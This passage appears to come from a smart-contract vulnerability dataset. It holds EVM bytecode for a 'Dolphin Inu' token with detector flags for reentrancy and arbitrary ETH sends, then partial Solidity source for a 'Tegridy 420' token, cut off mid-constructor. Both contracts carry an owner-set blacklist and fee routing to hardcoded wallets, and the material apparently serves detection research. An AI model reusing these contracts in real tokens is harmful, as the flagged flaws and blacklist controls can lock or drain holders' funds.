600080fd5b50610264600480360381019061025f9190612a06565b610642565b005b34801561027257600080fd5b5061027b6106f4565b005b34801561028957600080fd5b506102a4600480360381019061029f91906128ac565b610766565b6040516102b19190613008565b60405180910390f35b3480156102c657600080fd5b506102cf6107b7565b005b3480156102dd57600080fd5b506102e661090a565b6040516102f39190612d7d565b60405180910390f35b34801561030857600080fd5b50610311610933565b60405161031e9190612e66565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612989565b610970565b60405161035b9190612e4b565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129c5565b61098e565b005b34801561039957600080fd5b506103a2610ade565b005b3480156103b057600080fd5b506103b9610b58565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a58565b6110b5565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128fe565b6111fe565b6040516104189190613008565b60405180910390f35b606060405180606001604052806022815260200161374160229139905090565b600061045561044e611285565b848461128d565b6001905092915050565b6000683635c9adc5dea00000905090565b600061047d848484611458565b61053e84610489611285565b6105398560405180606001604052806028815260200161376360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104ef611285565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4b9092919063ffffffff16565b61128d565b600190509392505050565b610551611285565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d590612f48565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61064a611285565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ce90612f48565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610735611285565b73ffffffffffffffffffffffffffffffffffffffff161461075557600080fd5b600047905061076381611caf565b50565b60006107b0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1b565b9050919050565b6107bf611285565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461084c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084390612f48565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600d81526020017f446f6c7068696e7520f09f90ac00000000000000000000000000000000000000815250905090565b600061098461097d611285565b8484611458565b6001905092915050565b610996611285565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1a90612f48565b60405180910390fd5b60005b8151811015610ada576001600a6000848481518110610a6e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ad29061331e565b915050610a26565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1f611285565b73ffffffffffffffffffffffffffffffffffffffff1614610b3f57600080fd5b6000610b4a30610766565b9050610b5581611d89565b50565b610b60611285565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be490612f48565b60405180910390fd5b600e60149054906101000a900460ff1615610c3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3490612fc8565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ccd30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061128d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1357600080fd5b505afa158015610d27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4b91906128d5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dad57600080fd5b505afa158015610dc1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de591906128d5565b6040518363ffffffff1660e01b8152600401610e02929190612d98565b602060405180830381600087803b158015610e1c57600080fd5b505af1158015610e30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5491906128d5565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610edd30610766565b600080610ee861090a565b426040518863ffffffff1660e01b8152600401610f0a96959493929190612dea565b6060604051808303818588803b158015610f2357600080fd5b505af1158015610f37573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f5c9190612a81565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff0219169083151502179055506802b5e3af16b1880000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161105f929190612dc1565b602060405180830381600087803b15801561107957600080fd5b505af115801561108d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b19190612a2f565b5050565b6110bd611285565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461114a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114190612f48565b60405180910390fd5b6000811161118d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118490612f08565b60405180910390fd5b6111bc60646111ae83683635c9adc5dea0000061208390919063ffffffff16565b6120fe90919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516111f39190613008565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f490612fa8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136490612ec8565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144b9190613008565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114bf90612f88565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611538576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152f90612e88565b60405180910390fd5b6000811161157b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157290612f68565b60405180910390fd5b61158361090a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115f157506115c161090a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b8857600e60179054906101000a900460ff1615611824573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561167357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116cd5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117275750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561182357600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176d611285565b73ffffffffffffffffffffffffffffffffffffffff1614806117e35750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117cb611285565b73ffffffffffffffffffffffffffffffffffffffff16145b611822576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181990612fe8565b60405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461186757600f5481111561186657600080fd5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561190b5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61191457600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119bf5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611a155750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a2d5750600e60179054906101000a900460ff165b15611ace5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a7d57600080fd5b603c42611a8a919061313e565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ad930610766565b9050600e60159054906101000a900460ff16158015611b465750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b5e5750600e60169054906101000a900460ff165b15611b8657611b6c81611d89565b60004790506000811115611b8457611b8347611caf565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c2f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c3957600090505b611c4584848484612148565b50505050565b6000838311158290611c93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c8a9190612e66565b60405180910390fd5b5060008385611ca2919061321f565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d17573d6000803e3d6000fd5b5050565b6000600654821115611d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5990612ea8565b60405180910390fd5b6000611d6c612175565b9050611d8181846120fe90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611de7577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e155781602001602082028036833780820191505090505b5090503081600081518110611e53577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ef557600080fd5b505afa158015611f09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f2d91906128d5565b81600181518110611f67577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fce30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128d565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612032959493929190613023565b600060405180830381600087803b15801561204c57600080fd5b505af1158015612060573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561209657600090506120f8565b600082846120a491906131c5565b90508284826120b39190613194565b146120f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ea90612f28565b60405180910390fd5b809150505b92915050565b600061214083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121a0565b905092915050565b8061215657612155612203565b5b612161848484612234565b8061216f5761216e6123ff565b5b50505050565b6000806000612182612411565b9150915061219981836120fe90919063ffffffff16565b9250505090565b600080831182906121e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121de9190612e66565b60405180910390fd5b50600083856121f69190613194565b9050809150509392505050565b600060085414801561221757506000600954145b1561222157612232565b600060088190555060006009819055505b565b60008060008060008061224687612473565b9550955095509550955095506122a486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124da90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061233985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061238581612582565b61238f848361263f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123ec9190613008565b60405180910390a3505050505050505050565b60026008819055506008600981905550565b600080600060065490506000683635c9adc5dea000009050612447683635c9adc5dea000006006546120fe90919063ffffffff16565b82101561246657600654683635c9adc5dea0000093509350505061246f565b81819350935050505b9091565b600080600080600080600080600061248f8a6008546012612679565b925092509250600061249f612175565b905060008060006124b28e87878761270f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061251c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c4b565b905092915050565b6000808284612533919061313e565b905083811015612578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256f90612ee8565b60405180910390fd5b8091505092915050565b600061258c612175565b905060006125a3828461208390919063ffffffff16565b90506125f781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612654826006546124da90919063ffffffff16565b60068190555061266f8160075461252490919063ffffffff16565b6007819055505050565b6000806000806126a56064612697888a61208390919063ffffffff16565b6120fe90919063ffffffff16565b905060006126cf60646126c1888b61208390919063ffffffff16565b6120fe90919063ffffffff16565b905060006126f8826126ea858c6124da90919063ffffffff16565b6124da90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612728858961208390919063ffffffff16565b9050600061273f868961208390919063ffffffff16565b90506000612756878961208390919063ffffffff16565b9050600061277f8261277185876124da90919063ffffffff16565b6124da90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006127ab6127a6846130bd565b613098565b905080838252602082019050828560208602820111156127ca57600080fd5b60005b858110156127fa57816127e08882612804565b8452602084019350602083019250506001810190506127cd565b5050509392505050565b600081359050612813816136fb565b92915050565b600081519050612828816136fb565b92915050565b600082601f83011261283f57600080fd5b813561284f848260208601612798565b91505092915050565b60008135905061286781613712565b92915050565b60008151905061287c81613712565b92915050565b60008135905061289181613729565b92915050565b6000815190506128a681613729565b92915050565b6000602082840312156128be57600080fd5b60006128cc84828501612804565b91505092915050565b6000602082840312156128e757600080fd5b60006128f584828501612819565b91505092915050565b6000806040838503121561291157600080fd5b600061291f85828601612804565b925050602061293085828601612804565b9150509250929050565b60008060006060848603121561294f57600080fd5b600061295d86828701612804565b935050602061296e86828701612804565b925050604061297f86828701612882565b9150509250925092565b6000806040838503121561299c57600080fd5b60006129aa85828601612804565b92505060206129bb85828601612882565b9150509250929050565b6000602082840312156129d757600080fd5b600082013567ffffffffffffffff8111156129f157600080fd5b6129fd8482850161282e565b91505092915050565b600060208284031215612a1857600080fd5b6000612a2684828501612858565b91505092915050565b600060208284031215612a4157600080fd5b6000612a4f8482850161286d565b91505092915050565b600060208284031215612a6a57600080fd5b6000612a7884828501612882565b91505092915050565b600080600060608486031215612a9657600080fd5b6000612aa486828701612897565b9350506020612ab586828701612897565b9250506040612ac686828701612897565b9150509250925092565b6000612adc8383612ae8565b60208301905092915050565b612af181613253565b82525050565b612b0081613253565b82525050565b6000612b11826130f9565b612b1b818561311c565b9350612b26836130e9565b8060005b83811015612b57578151612b3e8882612ad0565b9750612b498361310f565b925050600181019050612b2a565b5085935050505092915050565b612b6d81613265565b82525050565b612b7c816132a8565b82525050565b6000612b8d82613104565b612b97818561312d565b9350612ba78185602086016132ba565b612bb0816133f4565b840191505092915050565b6000612bc860238361312d565b9150612bd382613405565b604082019050919050565b6000612beb602a8361312d565b9150612bf682613454565b604082019050919050565b6000612c0e60228361312d565b9150612c19826134a3565b604082019050919050565b6000612c31601b8361312d565b9150612c3c826134f2565b602082019050919050565b6000612c54601d8361312d565b9150612c5f8261351b565b602082019050919050565b6000612c7760218361312d565b9150612c8282613544565b604082019050919050565b6000612c9a60208361312d565b9150612ca582613593565b602082019050919050565b6000612cbd60298361312d565b9150612cc8826135bc565b604082019050919050565b6000612ce060258361312d565b9150612ceb8261360b565b604082019050919050565b6000612d0360248361312d565b9150612d0e8261365a565b604082019050919050565b6000612d2660178361312d565b9150612d31826136a9565b602082019050919050565b6000612d4960118361312d565b9150612d54826136d2565b602082019050919050565b612d6881613291565b82525050565b612d778161329b565b82525050565b6000602082019050612d926000830184612af7565b92915050565b6000604082019050612dad6000830185612af7565b612dba6020830184612af7565b9392505050565b6000604082019050612dd66000830185612af7565b612de36020830184612d5f565b9392505050565b600060c082019050612dff6000830189612af7565b612e0c6020830188612d5f565b612e196040830187612b73565b612e266060830186612b73565b612e336080830185612af7565b612e4060a0830184612d5f565b979650505050505050565b6000602082019050612e606000830184612b64565b92915050565b60006020820190508181036000830152612e808184612b82565b905092915050565b60006020820190508181036000830152612ea181612bbb565b9050919050565b60006020820190508181036000830152612ec181612bde565b9050919050565b60006020820190508181036000830152612ee181612c01565b9050919050565b60006020820190508181036000830152612f0181612c24565b9050919050565b60006020820190508181036000830152612f2181612c47565b9050919050565b60006020820190508181036000830152612f4181612c6a565b9050919050565b60006020820190508181036000830152612f6181612c8d565b9050919050565b60006020820190508181036000830152612f8181612cb0565b9050919050565b60006020820190508181036000830152612fa181612cd3565b9050919050565b60006020820190508181036000830152612fc181612cf6565b9050919050565b60006020820190508181036000830152612fe181612d19565b9050919050565b6000602082019050818103600083015261300181612d3c565b9050919050565b600060208201905061301d6000830184612d5f565b92915050565b600060a0820190506130386000830188612d5f565b6130456020830187612b73565b81810360408301526130578186612b06565b90506130666060830185612af7565b6130736080830184612d5f565b9695505050505050565b60006020820190506130926000830184612d6e565b92915050565b60006130a26130b3565b90506130ae82826132ed565b919050565b6000604051905090565b600067ffffffffffffffff8211156130d8576130d76133c5565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061314982613291565b915061315483613291565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561318957613188613367565b5b828201905092915050565b600061319f82613291565b91506131aa83613291565b9250826131ba576131b9613396565b5b828204905092915050565b60006131d082613291565b91506131db83613291565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561321457613213613367565b5b828202905092915050565b600061322a82613291565b915061323583613291565b92508282101561324857613247613367565b5b828203905092915050565b600061325e82613271565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132b382613291565b9050919050565b60005b838110156132d85780820151818401526020810190506132bd565b838111156132e7576000848401525b50505050565b6132f6826133f4565b810181811067ffffffffffffffff82111715613315576133146133c5565b5b80604052505050565b600061332982613291565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561335c5761335b613367565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61370481613253565b811461370f57600080fd5b50565b61371b81613265565b811461372657600080fd5b50565b61373281613291565b811461373d57600080fd5b5056fe446f6c7068696e20496e75207c20742e6d652f646f6c7068696e696e75746f6b656e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122030769c1299535a677e4a05e0bc235a524682ef1f5b45f63324b2437952a096ce64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,033
0x65ab766395e46bcbe7a80f35da1c14cbe0fea2d5
/** *Submitted for verification at Etherscan.io on 2022-04-20 */ /** *Submitted for verification at Etherscan.io on 2022-04-14 */ // SPDX-License-Identifier: UNLICENSED /* _ _ _ ___ _____ _____ | | (_) | | / |/ __ \| _ | | |_ ___ __ _ _ __ _ __| |_ _ / /| |`' / /'| |/' | | __/ _ \/ _` | '__| |/ _` | | | / /_| | / / | /| | | || __/ (_| | | | | (_| | |_| \___ |./ /___\ |_/ / \__\___|\__, |_| |_|\__,_|\__, | |_/\_____/ \___/ __/ | __/ | |___/ |___/ tg.me/Tegridy420eth Tx 12% for marketing and redis Allocation: 42% dead 42% liq 4.2% team 4.2% marketing rest will be burned after the launch Goin' down to Tegridy Farms Gonna have myself a time Friendly faces everywhere Humble folks without temptation Goin' down to Tegridy Farms Gonna leave my woes behind There's ample parking day or night, People spouting: "Howdy, neighbor!" I'm headin' down to Tegridy Farms Gonna see if I can't unwind I got some weed and I don't even know what's going on So come on down to Tegridy Farms And meet some friends of mine */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Tegridy is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Tegridy 420"; string private constant _symbol = "Tegridy 420"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 12; //Sell Fee uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xB3C1039c38aCddB1f9FF756C01215effc643B4Bd); address payable private _marketingAddress = payable(0xfc6a5162fB8A3c90a008545CF3092F4EE3f5910A); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000 * 10**9; //1% uint256 public _maxWalletSize = 42000 * 10**9; //420 uint256 public _swapTokensAtAmount = 4000 * 10**9; //.4% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), 